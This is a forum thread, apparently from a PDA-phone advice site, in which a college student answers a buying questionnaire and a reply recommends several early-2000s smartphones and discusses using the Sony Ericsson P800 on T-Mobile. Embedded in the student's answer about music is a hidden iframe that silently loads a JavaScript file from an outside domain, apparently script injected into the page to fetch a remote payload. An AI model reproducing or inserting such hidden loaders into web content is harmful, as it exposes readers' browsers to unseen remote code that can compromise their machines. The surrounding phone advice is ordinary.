1. What PDA and/or mobile phone do I use today?
no pda. . . regular old nokia cellphone

2. Are locked into a mobile carrier (i.e. Verizon Wireless, Sprint PCS, etc.), or do you prefer a particular carrier? Do you know if one carrier has better coverage in places that you need to be?
I use AT&T but not locked in

3. Where are you based? Do you stay in one place or travel a lot? Do you travel internationally... how much and where? Do you intend to use your pdaPhone there?
I'm a college student and travel to and from college (NY-CHI.)

4. Do have a preference of Palm, Pocket PC, Symbian, etc.?
no preference but I'm curious. . . how difficult is it to use a symbian-based pda in the US? I'm pretty curious about the p800/900 but I'm worried about using the symbian platform and the lack of a us carrier (how is it using the p800/900 with t-mobile?)

5. Are you likely to run it the way it came out of the box, or do you intend to load a whole lot of extra applications and stuff on it? Do you know of anything now that you will need to run?

More or less out of the box. .

6. How important is data, and what would you use data for (i.e. web, email, remote terminal, etc.)?
important, but not too important. . . would surf web and use email

7. Do you do SMS messaging a lot?
no

8. Do you need a GPS for mapping and navigation?
it would be nice but not an absolute necessity

9. What is your size preference.. very close to the smallest cellphone, or you don’t care.. function over size?

I'd rather have it on the smaller side but as long as it's not too big it's not too important

10. How will you carry it... pocket, belt, purse, etc.?
definetly pocket

11. Do you prefer a particular form factor… flip-phone, candy bar, etc?
no preference. . .

12. Do you prefer a QWERTY keyboard, or are you cool with a stylus?
don't necessarily mind a QWERTY keyboard but it's pretty important that the cellphone functions are relatively easy to use and access

13. Do you want to play a lot of games? What kinds?
No games. . . although I love the idea of having a camera (this is a significant factor in my decision). . .

14. Do you want to listen to music? What kind... mp3, streamed, etc.?
happy with my ipod. . . no need for mp3s<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

one more thing. . . just saw that lg electronics announced a smartphone with a 1.1 million megapixel camera and hour-long video capabilities!? Maybe it's worth waiting. . .

Ummm.... You don't identify an awful lot of "PDA" requirements here. You might want to check out the new Motorola MPx200 which is Microsoft Smartphone based. CompUSA has a great deal on them this week.

As for the P800 in the US, it can be done... at least with T-Mobile. We actually sell them in the pdaPhoneHome/MobilePlanet store, but since the carrier doesn't official support it, you may have difficulties if something isn't working correctly. Symbian, for some reason, hasn't gained a lot of traction in the US.

Sounds like you are big on the phone end of things being a priority, so here are some others to look into...

Motorola MPx200 - MS Smartphone, very small, looks like a regular phone, AT&T, great price and bundle with CompUSA.

Samsung i500 - Palm based, very small, looks only slightly larger than a regular phone, works with Sprint, not as expandable as some pdaphones, but the smallest of the true "PDA" oriented phones

Kyocera 7135 - Palm based, a little bigger than the i500, but still a flip phone, Verizon.

Samsung i600 - soon to be available with Verizon, MS Smartphone based

Sony Ericsson P800 - Symbian, could use with T-Mobile, phone features are very good.

As for the LG, I have seen a Pocket PC based model that they are planning, but no word on if it will ever come to the US.

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